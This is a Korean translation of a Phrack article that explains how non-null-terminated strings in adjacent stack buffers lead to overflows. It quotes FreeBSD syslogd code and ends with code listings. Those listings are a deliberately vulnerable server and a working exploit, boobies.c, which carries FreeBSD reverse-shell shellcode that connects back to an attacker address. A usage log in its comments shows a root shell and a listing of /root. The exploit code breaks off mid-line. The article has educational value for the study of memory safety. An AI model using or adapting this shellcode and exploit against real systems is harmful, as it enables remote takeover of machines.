                      - P H R A C K   M A G A Z I N E -

                            Volume 0xa Issue 0x38
                                  05.01.2000
                                  0x0e[0x10]

|--------- 종료되지 않은 인접메모리를 악용하기 ---------|
|-----------------------------------------------------------------------------|
|------------------------- twitch <twitch@vicar.org> -------------------------|


역자주 1. 본 글은 bitrider@intizen.com에 의해 번역되었습니다. 번역이 어려운 부분은 
	원문을 괄호()에 넣어 같이 표시하였습니다. 고수 여러분들의 코멘트를 바랍니다. 
             2. 이 기사를 활용하여 행하는 어떤 불법적인 행위도 독자의 책임입니다. 
             3. 이 번역본에 대하여 역자는 아무런 권리도 주장하지 않습니다. 만약, 인용 또는 
                  전문을 계제하실 때는 그래도 이 역자주 부분을 포함해 주십시오. (v-2000-05-15) 
             	
						

----|  Introduction

Prack이 다른 버퍼 오버플로우 기사를 원하기도 하고,  대부분의 저 성가신 strcpy()들이
 strncpy들로 대체되었고, 애들까지 쉘코드를 파 헤치고 있기 때문에, 여러분을 위해 또 다른 버퍼 
오버플로우 기법을 제시한다. P55호의 'Frame Pointer Overwriting'과 마찬가지로 이는 보편적인 
문제는 아니나 존재하고 있으며 활용가능하다. 

이 기사는 종료되지 않은 버퍼들 (정확히는 종료되지 않은 문자열들)의 위협과  그 응용의 결과가 
보안에 미치는 잠재적인 영향에 대하여 상세히 기술한다. 여기서는 버퍼 오버플로우를 통해 
프로그램 진행방향 재설정을 이끌어내어, 종료되지 않은 인접 문자열 버퍼를 악용하는 샘플코드에 
이르기까지, 발생가능한 다양한 상황에서 이 이슈를 논의한다. 대부분의 버그와 마찬가지로 이는 
알려지지 않은 문제는 아니나 임의로 추출한 소스코드들에 비추어볼 때 널리 알려진 이슈도 아닌 
것 같다. 

우연히도 예제코드는 x86기반위의 FreeBSD의 관점에서 제시된 man 페이지 요약문과 특징적인 
구조적 참조사항들을 포함하고 있다.  (Incidentally, the example code contains idiosyncratic 
architectural references and man page excerpts as presented from the point of view of
FreeBSD running on the x86 architecture.) 일반적인 사용 관례에 따라 문법적으로 
틀리더라도 동 문서에서 명사 '데이타'는 단수로 사용된다. 


----|  Rehash

만약 당신이 버퍼 오버플로우가 어떻게 이루어지는 지를 안다면 (만약 당신이 지난 2년내의 
Phrack을 하나라도 읽어봤다면 어떻게 모를 수 있을까?) 이 섹션은 건너 뛰어라. 

어떤 프로그램이 버퍼를 할당하고 임의의 데이타를 이 버퍼에 복사할 때, 그 프로그램은 복사되는 
모든 것을 위한 충분한 공간이 있는 지를 확인하여야만 한다. 만약 할당된 메모리보다 더 많은 
데이타가 있는 경우, 모든 데이타가 여전히 복사되나, 지정된 버퍼의 끝을 지나, 무작위의, 보통은 
꽤 중요한 데이타를 덮어 써버린다. 이건 정말 꽤 건방진 일이다. 만약 그 데이타가 사용자에 의해 
제공될 수 있다면 그 사용자는 변수의 값을 변경하거나 프로그램 실행의 방향을 재설정하거나 등의 
악의적인 일들을 할 수 있게 된다. 일반적인 오버플로우는 아래와 같이 생겼다: 

   void func(char *userdata)
   {
      char buf[256];

      ...

      strcpy(buf, userdata);
   
      ...
   }

위  프로그램 작성자는 복사되는 데이타가 확실히 256 바이트보다 적을 것이고 제공된 버퍼에 
잘 맞을 것이라고 가정하고 있다. 불행하게도, 복사되는 데이타는 사용자가 제공하는 것이므로, 
그 데이타는 정말 어떤 것이나 어떤 크기의 것일 수도 있다. strcpy()함수는 NULL이 발견될 때까지 
*userdata의 바이트들을 계속 복사하므로 256 바이트를 넘는 어떤 데이타라도 오버플로우를 
일으킨다. 

따라서, 비열한 사람들이 이를 악용하지 못하게끔 하기 위한 노력의 일환으로, 프로그래머들은 
그들의 소프트웨어가 버퍼공간이 있는 만큼의 데이타만을 복사하는지를 확실히 하려 할 것이다. 이 
과제를 달성하기 위하여 그들은 보통 아래와 같은 무언가를 한다:

   void func(char *userdata)
   {
      char buf[256];

      ...

      strncpy(buf, userdata, 256);
   
      ...
   }

strncpy()는 정의된 만큼의 바이트만을 복사할 것이다. 따라서 위에서는 복사되는 데이타의 
최대량은 256 바이트이고 아무 것도 덮어쓰이지 않는다 (위의 코드 쪼가리가 아래에서 논의할 
문제의 예를 들고 있다는 점을 주의할 것). 

버퍼 오버런과 프로그램 방향재설정 및 "재미와 짭짤함을 위해 스택 후려치기"에 대한 훨씬 더 
나은 설명을 보려면 후자와 동일한 이름의 P49-10번의 기사를 참조하라.  


----|  Pith

문제의 본질은 많은 프로그래머들이 버퍼 오버플로우에 대항할 '마법의 탄알'로 안전하게 
여기고 있는 많은 함수들이 자동으로 문자열/버퍼를 NULL로 종료시키지는 않는 다는 것이다. 
실제로는 이들 함수에 제공되는 버퍼사이즈는 절대적인 크기이지 문자열의 크기는 아닌 것이다. 
이를 보다 정교하게 보이기 위하여 strncpy()의 man 페이지로 부터 발췌한 내용을 보면: 

   char *
   strncpy(char *dst, const char *src, size_t len)

   ...

   strncy()는 len값 만큼 dst에 복사하는데 만약 src가 len값의 길이보다 적은 경우 '\0'를  
  첨부하지만 src가 len값보다 긴 경우에는 종료시키지 _않는다+_.  

   ...

   +(밑줄은 원본에 있던 것임.)

이 문제가 어떻게 뻗어 나갈 수 있는 지 이해하기 위해서 아래와 같이 할당된 두개의 자동 
문자배열의 경우를 보자: 

   char buf1[8];
   char buf2[4];

컴파일러는 거의 아마도 이들 두 버퍼를 스택상에 _나란히_ 같이 붙여서 놓을 것이다. 자, 
위의 정의에 따른 스택을 보자:

Upper
Memory   
  ||     ---------------->  [Top of the stack]
  ||     ---------------->  [ buf2 - 0 ]
  ||     ---------------->  [ buf2 - 1 ]
  ||     ---------------->  [ buf2 - 2 ]
  ||     ---------------->  [ buf2 - 3 ]
  ||     ---------------->  [ buf1 - 0 ]
  ||     ---------------->  [ buf1 - 1 ]
  ||     ---------------->  [ buf1 - 2 ]
  ||     ---------------->  [ buf1 - 3 ]
  ||           ...
  ||     ---------------->  [ buf1 - 7 ]
  ||
  ||           ...
  \/

   [우리의 예제체계에서는 스택은 아래로 증가한다는 것을 기억해라,  (아마 당신의 것도 마찬가지
   일 것이다,) 따라서 위 그림은 거꾸로 놓여진 것이다.] 

따라서, 프로그래머가 아래와 같은 일을 하려는 경우:

   void
   func()
   {
      char buf1[8];
      char buf2[4];

      fgets(buf1, 8, stdin);
      strncpy(buf2, buf1, 4);
   }

만약 사용자가 'iceburn'이란 문자열을 입력하였다고 가정하면 strncpy() 후에 스택은 다음과 같을 
것이다:

Upper
Memory   
  ||     ---------------->  [Top of the stack]
  ||     ---------------->  [ 'i'  (buf2 - 0) ]
  ||     ---------------->  [ 'c'  (buf2 - 1) ]
  ||     ---------------->  [ 'e'  (buf2 - 2) ]
  ||     ---------------->  [ 'b'  (buf2 - 3) ]
  ||     ---------------->  [ 'i'  (buf1 - 0) ]
  ||     ---------------->  [ 'c'  (buf1 - 1) ]
  ||     ---------------->  [ 'e'  (buf1 - 2) ]
  ||     ---------------->  [ 'b'  (buf1 - 3) ]
  ||     ---------------->  [ 'u'  (buf1 - 4) ]
  ||     ---------------->  [ 'r'  (buf1 - 5) ]
  ||     ---------------->  [ 'n'  (buf1 - 6) ]
  ||     ---------------->  [ 0x00 (buf1 - 7) ]
  ||
  ||           ...
  \/

우리는 man 페이지를 통해 strncpy() 는 4 바이트이상을 복사하지 않을 것이란 점을 알고 있다. 
그러나 src 문자열이 4 바이트보다 길기 때문에 그 문자열은 null로 종료하지도 않는다. 따라서, 
비록 sizeof(buf2)는 4이지만, strlen(buf2)는 이제 11이다. 할당된 공간의 경계를 넘어서는 어떤
데이타도 덮어쓰이지는 않으므로 이것은 오버플로우가 아니다. 그러나, 이는 특이한 상황을 
만든다. 예를들어, 

   printf("You entered: %s\n", buf2);

는 아래와 같은 결과를 산출한다:

  You entered: icebiceburn

분명히 의도하던 바는 아닐 것이다. 


----|  Apparition

이 문제는 선량하고도 신비한 모습으로 실제 상황에 나타난다. 다음은 FreeBSD 3.2-RELEASE의 
syslogd.c 이다:

   /*
    * Validate that the remote peer has permission to log to us.
    */
   int
   validate(sin, hname)
   struct sockaddr_in *sin;
      const char *hname;
   {
      int i;
      size_t l1, l2;
      char *cp, name[MAXHOSTNAMELEN];
      struct allowedpeer *ap;

      if (NumAllowed == 0)
         /* traditional behaviour, allow everything */
         return 1;

      strncpy(name, hname, sizeof name);
      if (strchr(name, '.') == NULL) {
         strncat(name, ".", sizeof name - strlen(name) - 1);
         strncat(name, LocalDomain, sizeof name - strlen(name) - 1);
      }

      ... 
   }

hname이 최소한 MAXHOSTNAMELEN 바이트만큼 길고 '.'을 포함하고 있지 않다고 가정
하자. 이 경우에는 strncat할 길이값의 계산은 아래와 같이 펼쳐서 볼수 있다는 의미이다: 

   sizeof name == MAXNAMELEN
   strlen(name) >= MAXNAMELEN
   따라서, 길이는 0 보다 작다. 

글쎄, strncat의 길이 변수는 size_t 유형인데 이는 부호없는(unsigned) 유형이므로, strncat은 
실제로 너무나 많은 바이트들을 기꺼이 덧붙이려 할 것이다. 따라서, 로컬도메인네임 전체가 
이름 (이미 할당된 길이를 다 채운) 뒤에 덧붙여지고, validate() 가 값을 전달할 때 오버플로우가 
발생하여 syslogd는 segfault를 일으킬 것이다. 우연히도, 해당 호스트에 대한 로컬도메인이 
적당한 스택상의 offset이 아니라면, 위 예는 단지 syslog를 종료시키는 데 활용될 수 있을 
뿐이다 (우연히도, 0xbfbfd001.com 이 가능하다).


----|  Pith + Apparition = Opportunity

이런 유형의 오버플로우가 다양한 모양으로 (그리고 정말, 다양한 방법으로 나타날 것이다)
이용될 수 있겠지만, 이해하기에 가장 섹시하고 쉬운 것은 프로그램 실행방향 재설정이다. 비록 
아래에 예시된 상황이 심하게 설정된 것이지만 유사한 상황이 전세계에서 현재 사용되고 
있는 잡다한 소프트웨어에 존재하고 있다는 점을 주의해야 한다. 

이제 사용자가 두개의 인접한 버퍼의 내용을 정할 수 있는 상황을 언급해 보자. 아래와 같은
부분을 봐라:

   int
   main(int argc, char **argv)
   {
      char buf1[1024];
      char buf2[256];

      strncpy(buf, argv[1], 1024);
      strncpy(buf2, argv[2], 256);

      ...

      if(somecondition)
         print_error(buf2);

   }

   void print_error(char *p)
   {
      char mybuf[263];
      
      sprintf(mybuf, "error: %s", p);
   }

스택의 그림은 매우 크고 중첩되어 있을 것이므로 이의 모습을 구성해 보이지는 
않을 것이나 어떤 일이 발생할 지는 매우 명백할 것이다. 프로그래머는 main()에 
strncpy()를 적당히 사용했으니 print_error()에 이르렇을 때, 데이타가 아무 문제가 
없을 것이라고 생각할 것이다. 따라서, sprintf()가 아무 문제없이 호출될 것이라고 
가정한다. 불행히도, p는 buf2를 가리키고 있고 buf2는 적절히 종료되지 않았으므로 
sprintf()는 buf1의 끝을 지나, 어딘가에 NULL이 있는 곳에 이를 때까지의 데이타를 
아주 기꺼이 계속 복사할 것이다. 오 망할. 


----|  Hexploitation

아래 각본에 있어서 이 문제의 활용은 (프로그램 방향재설정을 목적으로한) 전통적인 
단일버퍼 오버런의 경우와 약간 다르다. 우선, 전통적인 버퍼 오버플로우에 대한 
약간의 분석을 보자.  

256 바이트의 단일 버퍼를 오버플로우시키는 것을 가정하면, 우리의 탄두는 
일반적으로 아래와 같은 어떤 모습일 것이다 (그림은 실제 크기가 물론 아니다):

  [ 0 ....................................................256.. ~280 ]
  --------------------------------------------------------------------
  |                |           |            |                        |
  | Bunch of NOP's | shellcode | More NOP's | offset_to_shellcode    |
  |                |           |            |                        |
  --------------------------------------------------------------------
  |                            Buffer                      |
  |________________________________________________________|


우리가 할일은 오버플로우가 발생할 때, 저장되어 있던 명령포인터를 (스택 어딘가의 
주소인) 우리의 쉘 코드에 대한 offset으로 덮어쓰는 것이 전부다. 따라서, 어떤 취약한
함수가 결과값을 산출할 때, 프로그램의 실행이 우리의 코드로 방향을 바꾸게 된다. 

이제 다른 256바이트짜리 버퍼를 오버플로우시키고자 하는 데, 위에서 언급한 
print_error() 코드 쪼가리 중에 있던 버퍼를 오버플로우시킨다고 가정해보자. 우리의
악의적인 의도를 달성하기 위해서는 그러나, buf1과 buf2를 나란히 써야만 한다. 우리가
할 일은 buf2를 우리의 쉘코드와 NOP들로 채우고나서, buf1의 첫부분을 우리의 offset
으로 사용할 일이 전부이다. 

따라서, strncpy()들 이후에 buf1은 아래와 같은 모습일 것이다:

  [ 0 ......................................................... 1024 ]
  --------------------------------------------------------------------
  |                     |                                            |
  | offset_to_shellcode |      Filled with NULL's by strncpy()       | 
  |                     |                                            |
  --------------------------------------------------------------------

그리고 buf2는 아래와 같은 모습일 것이다:

  [ 0 .......................................................... 256 ]
  --------------------------------------------------------------------
  |                     |           |                                |
  | Bunch of NOP's      | shellcode |          More NOP's            |
  |                     |           |                                |
  --------------------------------------------------------------------

이러한 배치는 스택에서 버퍼들이 배치되는 것 때문에 필요한 것이다. argv[1]으로 제공
되는 것들은 (buf1으로 복사되어지는 데이타는) 우리가 argv[2]로 제공하는 데이타들
(buf2로 복사되는) 보다 더 상위메모리에 위치하게 될 것이다. 따라서 기술적으로, 우리는 
offset을 exploit 열의 마지막 부분이 아니라 첫부분에 올리는 것이다. 그러면, print_error()
함수가 호출될 때, main()의 스택은 아래와 같은 모양일 것이다: 

  [Top of stack                                          Upper Memory]
  [ 0 .............................................~300../ /... 1280 ]
  -------------------------------------------------------/ /----------
  |                |           |            |            / /         |
  | Bunch of NOP's | shellcode | More NOP's |   offset   / /  NULL's |
  |                |           |            |            / /         |
  -------------------------------------------------------/ /----------

이 모습은 앞에서 기술한 전통적인 탄두의 모양과 상당히 유사하다. 

print_error()이 호출될 때, buf2의 첫부분 또는 main() 내의 스택의 첫부분에 대한 포인터를
건네받게 된다. 따라서, sprintf()가 호출될 때, 오버런이 발생하고, 프로그램실행 방향이 
우리의 쉘코드쪽으로 재설정하면서 기존의 모든 것이 중단된다. 

만약 컴파일러가 하나의 버퍼를 매꾸어 버린다면 문제에 봉착할 수 있으므로 여기에서
 배열이 핵심임을 주목해라. 어느 버퍼가 매꾸어지는지, 그리고 매꾸어지는 바이트의 내용이 
무엇인지도 성공여부에 중요한 역할을 한다. 

만약 buf2가 매꾸어지고, 매꾸어지는 바이트들이 NULL을 포함한다면, 오버플로우 (또는 
쓸만한 오버플로우는)는 발행하지 않을 것이다. 만약 매꾸어지는 바이트가 0이 _아니라면_,
매꾸어지는 바이트들이 이중문자 범주 (double-word boundary)를 벗어나지 않는 한 
(거의 확실히 그럴 것이다), 우리는 저장되어 있는 명령포인터를 여전히 성공적으로 
덮어쓸 수 있다. 

만약 buf1이 매꾸어지면, 매꾸어지는 바이트에 NULL이 포함되는 지는 어짜피 이 부분이 
우리의 쉘코드 뒤에 붙게되므로 중요하지 않다. 



----|  Denouement

대부분의 버그들이 그렇듯, 여기에서 잘못된 점은 라이브러리 함수나, C 프로그래밍언어나,
데이타부분이 실행되지 않게 하지 못하는 운영체계가 아니라, 프로그래머들이 자신이 
하는 작업의 부산물들까지 인식하지 못한다는 것이다. 잠재적으로 위험이 있는 물건 (임의의 
데이타)을 취급하기 전에는, 특별한 주의가 반드시 필요하다. man 페이지들은 읽어야 한다. 
버퍼는 종료되어야 한다. 반환되는 값은 확인해야 한다. 필요한 것은 '+1'과 초기화이다. 
이것이 얼마나 어려운가: 

   char buf[MAXSIZE + 1];
   FILE *fd;
   size_t len;

   ...

   memset(buf, 0, MAXSIZE + 1);
   len = fread((void *)buf, 1, MAXSIZE, fd);
   /*
    * This won't actually happen, but it is supplied to
    * prove a point
    */
   if(len > MAXSIZE){      
      syslog(LOG_WARNING, "Overflow occured in pid %d, invoked by %d\n",
            getpid(), getuid());
      exit(1);
   }

   ...

그래, 위 내용은 조금 바보스럽지만, 보이고자 하는 의도는 명확하기 바란다. 

우연히도, 다음의 함수는 게으른 프로그래머들을 위해 종료하는 작업을 해주지는 않는다:

   fread()
   the read() family [ read(), readv(), pread() ]
   memcpy()
   memccpy()
   memmove()
   bcopy()
   for(i = 0; i < MAXSIZE; i++)
      buf[i] = buf2[i];
   gethostname()
   strncat()

아래의 함수는 친절히 0으로 종료해준다:

   snprintf()
   fgets()

자 이제, 가서 무언가 부수든가, 아니면 좋게, 무언가 고쳐라. 


----|  Example

아래는 취약한 프로그램의 사례에 대한 활용사례이다. 이 취약한 프로그램은 불쌍
할 정도로 의도적으로 만들어 진 것이고 다음의 목적이외에는 다른 용도가 없다:

   a) 이런 유형의 버퍼 오버런을 악용하기 위해 고려할 점을 설명하는 사례를 제공
        한다.
   b) 새로운 쉘코드를 써먹을 기회를 제공한다. 

실제 소프트웨어에 대한 공격코드를 제공하지 않기로 한 결정은 아래와 같은 이유
에서이다: 

   a) 첫날부터 그런 것을 Prack에 공개하는 것은 건방진 일이다. (The fact that 
         publishing 0-day in Phrack is rude.)
   b) 그 버그를 보고하지 않는 다면 내가 정말 이상한 놈일 것이다. 
   c) 내가 발견한 버그들은 실제로 이 기사가 나올 때 쯤이면 이미 패치되었을 것이다. 
   d) 제시된 예제가 실제 프로그램들보다 따라잡기 쉽다.
   e) 이 기사의 의도는 정보의 제공이지, 당신이 www.무의미해.com을 공격하는 것을
        돕는 것이 아니다.  

그렇지만 이봐, 당신은 무료로 쉘코드를 얻을 수 있으니, 이 기사를 읽는 것이 완전히
시간 낭비는 아니잖아.

해킹코드는당신이 필요로 하는 어느 시스템이나 포트에 쉘을 열어 줄 것이다. 유용할 
것이다. 사용법은 boobies.c의 코멘트문들을 읽어봐라. 

쉘코드는 i386의 FreeBSD만에 적용되는 것이라서, 그 쉘코드를 가지고 장난을 치려면 
해당 취약한 프로그램이 x86기반의 FreeBSD에서 돌고 있어야만 할 것이다. 해킹코드는 
어느 시스템위에서나 - 비록 당신이 원하는 특정 아키텍추어에 맞게 조금 조정을 가해야
겠지만 - 컴파일하고 실행할 수 있다.  

우연히도, x86 Linux와 SPARC 솔라리스 버젼들에 대한 쉘코드가 
www.vicar.org/~twitch/projects/llehs에 제공되어 있다. 



----|  The code

<++> p56/Boobies/vuln.c !66dd8731
/*
 * vuln.c
 * 
 * 01/09/1999
 * <twitch@vicar.org>
 *
 * Example to display how non-terminated strings in adjacent memory
 * spaces may be exploited.
 *
 * Give it a port to listen on if you wish as argv[argc - 1]
 * (the default is 6543). 
 *
 * The code is sloppy because I really didn't care. 
 * Pretend it's a game on a Happy Meal(tm) box- how many other exploitable
 * conditions can you find?
 *
 * to compile-
 * [twitch@lupus]$ gcc -Wall -o vuln vuln.c
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#ifndef MAXHOSTNAMELEN
#define MAXHOSTNAMELEN   256
#endif /* MAXHOSTNAME */

#define PORT   6543

int be_vulnerable(int);
void oopsy(char *);
int do_stuff(char *, int, u_short);

int
main(int argc, char **argv)
{
   char myname[MAXHOSTNAMELEN + 1];
   struct hostent *h;
   int r;
   u_short port;

   port = PORT;

   if(argc > 1)
      port = strtoul(argv[argc - 1], NULL, 10);

   memset(myname, 0, MAXHOSTNAMELEN + 1);
   r = gethostname(myname, MAXHOSTNAMELEN);
   if(r){
      perror("gethostname");
      return(1);
   }

   if(!(strlen(myname))){
      fprintf(stderr, "I have no idea what my name is, bailing\n");
      return(1);
   }
   
   h = gethostbyname(myname);
   if(!h){
      fprintf(stderr, "I couldn't resolve my own name, bailing\n");
      return(1);
   }

   return(do_stuff(h->h_addr, h->h_length, port));
}

/*
 * do_stuff()
 *    Listen on a socket and when we get a connection, had it
 *    off to be_vulnerable().
 */
int
do_stuff(char *myaddr, int addrlen, u_short port)
{
   struct sockaddr_in sin, fin;
   int s, r, alen;
   char *p;
   memcpy(&sin.sin_addr.s_addr, myaddr, addrlen); 
   
   p = inet_ntoa(sin.sin_addr);

   if(sin.sin_addr.s_addr == -1L){
      fprintf(stderr, "inet_addr returned the broadcast, bailing\n");
      return(1);
   }

   memset(&sin, 0, sizeof(struct sockaddr));
   sin.sin_family = AF_INET;
   sin.sin_port = htons(port);

   s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
   if(s < 0){
      perror("socket");
      return(1);
   }

   alen = sizeof(struct sockaddr);
   r = bind(s, (struct sockaddr *)&sin, alen);
   if(r < 0){
      perror("bind");
      return(1);
   }

   r = listen(s, 1);
   if(r < 0){
      perror("listen");
      return(1);
   }

   printf("Accepting connections on port %d...\n", port);

   memset(&fin, 0, alen);
   r = accept(s, (struct sockaddr *)&fin, &alen);
   if(r < 0){
      perror("accept");
      return(1);
   }

   return(be_vulnerable(r));
}

/*
 * be_vulnerable()
 *    We grab a chunk o' data from the wire and deal with it
 *    in an irresponsible manner.
 */
int
be_vulnerable(int s)
{
   int r;
   char buf[1024], buf2[256];

   memset(buf, 0, 1024);
   memset(buf2, 0, 256);
   r = read(s, (void *)buf, 1024);
   r = read(s, (void *)buf2, 256);

   oopsy(buf2);

   close(s);
   return(0);
}

/*
 * oopsy()
 *    Copy data into local storage to do something with it.
 *    I'm lazy so all this does is cause the overflow.
 */
void
oopsy(char *p)
{
   char mybuf[256];

   fprintf(stderr, "Oh shit, p is %d bytes long.\n", strlen(p));
   strncpy(mybuf, p, strlen(p));
}
<-->
<++> p56/Boobies/boobies.c !f264004c
/*
 * boobies.c
 *
 * 01/09/1999
 * <twitch@vicar.org>
 *
 * Dedicated to Kool Keith, Bushmill's smooth and mellow (distilled
 * three times) Irish Whiskey, and that one SCO guy's beautiful lady.
 *
 *
 * Example exploit for vuln.c to display how non-terminated strings
 * in adjacent memory can cause real troubles.
 *
 * This shellcode will establish a TCP connection to any port and
 * address you deem fit (see the shellcode for where/how to do this)
 * and drop a shell. You won't get a prompt, but otherwise, it is a
 * full shell with the privleges of whatever the exploited program had.
 *
 * This is the x86 FreeBSD version- Linux and SPARC Solaris versions,
 * as well as full assembly listings are available at
 * www.vicar.org/~twitch/projects/llehs
 *
 * To use this exploit, run the silly little vulnerability demo
 * program on some system (in this example it's running on a system
 * called lupus) thusly:
 *
 * [twitch@lupus]$ ./vuln
 * Accepting connections on port 6543...
 *
 * Then do this on the attacking system (or wherever you are directing
 * the shell):
 *
 * [twitch@pornstar]$ nc -n -v -l -p 1234
 * listening on [any] 1234 ...
 *
 *    [ from another terminal/window ]
 *
 * [twitch@pornstar]$ ./boobies -a 192.168.1.1 -p 1234 |nc -v lupus 6543
 * lupus [192.168.1.6] 6543 (?) open
 *
 *    [ back to the first terminal/window ]
 *
 * connect to [192.168.1.1] from (lupus) [192.168.1.6] 1234
 * uname -n
 * lupus.vicar.org
 * ls -alF /root/
 * total 14
 * drwxr-x---   3 root  wheel   512 Dec  8 20:44 ./
 * drwxr-xr-x  19 root  wheel   512 Dec 10 19:13 ../
 * -rw-------   1 root  wheel  4830 Jan  4 16:15 .bash_history
 * -rw-------   2 root  wheel   383 May 17  1999 .cshrc
 * -rw-------   1 root  wheel  1354 Jan  5 10:33 .history
 * -rw-------   1 root  wheel   124 May 17  1999 .klogin
 * -rw-------   1 root  wheel   491 Dec  4 19:59 .login
 * -rw-------   2 root  wheel   235 May 17  1999 .profile
 * drwxr-x---   2 root  wheel   512 Dec  8 20:44 .ssh/
 * ^C
 * [twitch@pornstar]$
 *
 * You will need to supply an offset of around -50 if
 * vuln is running on a port besides the default.
 *
 * The exploit has a few options that you can read about by doing:
 * [twitch@pornstar]$ ./boobies -h
 * usage: ./boobies [-o offset_nudge] [-p port] [-a address] [-A alignment]
 *    -o              Nudge the offset offset_nudge bytes.
 *    -p              Port to which the target should connect.
 *    -a              Address to which the target should connect.
 *                    (Must be an IP address because I'm lazy.)
 *    -A              Nudge the alignment.
 *    -v              Be verbose about what we're doing.
 *    -h              The secret to life.
 *
 * If you compile this on non-x86 architectures, you will prolly have to
 * play with the alignment a bit.
 *
 * to compile-
 * [twitch@pornstar]$ gcc -o boobies -Wall boobies.c
 * Be alert, look alive, and act like you know.
 */

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

char llehs[] =
   "\x55\x89\xe5\xeb\x7e\x5e\x31\xc0\x88\x46\x07\x83\xec\x18"  /* 14 */
   "\xc6\x45\xe9\x02\x31\xc0\x66\xb8"                          /* 22 */

   /*
    * Replace with (htons(port) ^ 0xff).
    * Defaults to 1234.
    */
   "\xfb\x2d"

   "\x66\x35\xff\xff\x66\x89\x45\xea\xb8"                      /* 33 */

   /*
    * Replace with (inet_addr(host_to_conenct_to) ^ 0xffffffff).
    * Defaults to 192.168.1.6.
    */
   "\x3f\x57\xfe\xf9"

   "\x83\xf0\xff\x89\x45\xec\x6a\x06\x6a\x01\x6a\x02\x6a\x0f\x31\xc0\xb0"
   "\x61\xcd\x80"

   "\x6a\x10\x89\xc3\x8d\x45\xe8\x50\x53\x6a\x0f\x31\xc0\xb0\x62\xcd\x80"
   "\x31\xc0\x50\x53\x6a\x0f\xb0\x5a\xcd\x80"
   "\x53\x6a\x0f\x31\xc0\xb0\x06\xcd\x80"
   "\x6a\x01\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
   "\x6a\x02\x31\xc0\x50\x6a\x0f\xb0\x5a\xcd\x80"
   "\x31\xc0\x50\x50\x56\x6a\x0f\xb0\x3b\xcd\x80"
   "\x31\xc0\x40\xcd\x80"
   "\xe8\x7d\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

/*
 * This offset seems to work if you are running the exploit and the
 * vulnerable proggy on the same machine, with vuln listening on its
 * default port. If vuln is listening on a user-supplied port, this
 * needs to be around 0xbfbfd0fc.  YMMV.
 */
#define OFFSET    0xbfbfd108
#define NOP       0x90
#define BUFSIZE   1300
#define SHELLSIZE 143
#define PAD       32
#define ALIGNIT   0

/*
 * Offset into the shellcode for the port
 */
#define SCPORTOFF 22

/*
 * Offset into the shellcode for the address
 */
#define SCADDROFF 33

void
usage(char *proggy)
{
   fprintf(stderr, "usage: %s [-o offset_nudge] [-p port] [-a address] ",
         proggy);
   fprintf(stderr, "[-A alignment]\n");
   fprintf(stderr, "\t-o\t\tNudge the offset offset_nudge bytes.\n");
   fprintf(stderr, "\t-p\t\tPort to which the target should connect.\n");
   fprintf(stderr, "\t-a\t\tAddress to which the target should connect.\n");
   fprintf(stderr, "\t\t\t(Must be an IP address because I'm lazy.)\n");
   fprintf(stderr, "\t-A\t\tNudge the alignment.\n");
   fprintf(stderr, "\t-v\t\tBe verbose about what we're doing.\n");
   fprintf(stderr, "\t-h\t\tThe secret to life.\n");
   fprintf(stderr, "\n");

   exit(1);
}

void
main(int argc, char **argv)
{
   char b00m[BUFSIZE], *p, c;
   char *port, *addr;
   u_short portd;
   u_long addrd;
   extern char *optarg;
   int i, nudge = 0, o = OFFSET, align = 0;
   int verb = 0;

   port = &(llehs[SCPORTOFF]);
   addr = &(llehs[SCADDROFF]);
   while((c = getopt(argc, argv, "o:p:a:A:vh")) != -1){
      switch(c){
         /*
          * Nudge to the offset
          */
         case 'o':
            nudge = strtoul(optarg, NULL, 10);
            break;
         /*
          * Port to which we connect
          */
         case 'p':
            portd = strtoul(optarg, NULL, 10);

            if(verb)
               fprintf(stderr, "Shell coming back on port %d\n", portd);

            portd = htons(portd);
            portd ^= 0xffff;

            if(verb)
               fprintf(stderr, " (0x%x)\n", portd);

            memcpy((void *)port, (void *)&portd, sizeof(u_short));
            break;
         /*
          * Address to which we connect
          */
         case 'a':
            addrd = inet_addr(optarg);
            if(addrd == -1L){
               fprintf(stderr, "Bad address '%s'.\n", optarg);
               exit(1);
            }
            addrd ^= 0xffffffff;
            memcpy((void *)addr, (void *)&addrd, sizeof(u_long));

            if(verb){
               fprintf(stderr, "Shell is being sent to %s.\n", optarg);
               fprintf(stderr, " (0x%lx)\n", addrd);
            }

            break;
         /*
          * Alignment (should only be necessary on architectures
          * other than x86)
          */
         case 'A':
            align = strtoul(optarg, NULL, 10);
            break;
         case 'v':
            verb++;
            break;
         case 'h':
         default:
            usage(argv[0]);
            break;
         }
   }

   o += nudge;
   align += ALIGNIT;

   if(verb){
      fprintf(stderr, "Offset is 0x%x\n", o);
      fprintf(stderr, "Alignment nudged %d bytes\n", align);
   }

   p = b00m;
   memset(p, 0x90, sizeof(b00m)); 
   p = b00m + ALIGNIT;
   for(i = 0; i < PAD; (i += 4)){
      *((int *)p) = o;
      p +=4;
   }

   p = (&b00m[0]) + PAD + PAD + ALIGNIT;
   memcpy((void *)p, (void*)llehs, SHELLSIZE);

   b00m[BUFSIZE] = 0;
   fprintf(stderr, "payload is %d bytes wide\n", strlen(b00m));
   printf(&quo


Navigate	Home | Archive | Forum | Search | Submissions
Email	Submit Article | Loopback Commentaries | Editor In Chief | Phrack World News
Links	l0pht | securityfocus | HNN | S.G.R.  MacMillan